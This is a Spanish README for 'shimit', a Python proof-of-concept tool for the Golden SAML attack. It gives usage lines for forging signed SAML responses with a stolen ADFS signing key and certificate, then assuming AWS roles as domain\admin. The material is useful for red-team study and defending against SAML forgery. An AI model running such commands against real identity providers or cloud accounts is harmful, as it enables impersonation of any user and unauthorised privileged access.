
Una herramienta que implementa el ataque Golden SAML
shimit es una herramienta Python que implementa el ataque Golden SAML. Más información sobre esto se puede encontrar en el siguiente artículo en nuestro blog.
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
En un ataque Golden SAML, los atacantes pueden obtener acceso a una aplicación (cualquier aplicación que soporte autenticación SAML) con los privilegios que deseen y ser cualquier usuario en la aplicación objetivo.
shimit permite al usuario crear un objeto SAMLResponse firmado, y usarlo para abrir una sesión en el Proveedor de Servicios. shimit ahora es compatible con la Consola de AWS como Proveedor de Servicios, más están en desarrollo...
Después de generar y firmar la assertion del SAMLResponse, shimit llamará a la API AssumeRoleWithSAML() en AWS. Luego, el token y la clave de sesión se aplicarán a una nueva sesión, donde el usuario puede usar la CLI de AWS para realizar acciones utilizando los permisos obtenidos mediante el Golden SAML.
Para instalar los módulos requeridos, ejecute el siguiente comando:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
Debe estar instalado para poder usar las credenciales obtenidas. Se puede descargar para Windows o Linux desde estos enlaces.
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - URL del Proveedor de Identidad, ej. http://server.domain.com/adfs/services/trust
pk - Ruta completa del archivo de clave privada (formato pem)
c - Ruta completa del archivo de certificado (formato pem)
u - Usuario y nombre de dominio, ej. dominio\usuario (use \ o comillas en *nix)
n - Nombre de la sesión en AWS
r - Roles deseados en AWS. Soporta múltiples roles, el primero especificado será asumido.
id - ID de cuenta de AWS, ej. 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - Salida del SAMLResponse codificado a una ruta de archivo especificada
python .\shimit.py -l saml_response.xml
l - Cargar SAMLResponse desde una ruta de archivo especificada
shimit soporta a AWS como proveedor de servicios por ahora, como POC. Le animamos encarecidamente a contribuir con nuevos módulos para otros proveedores de servicios.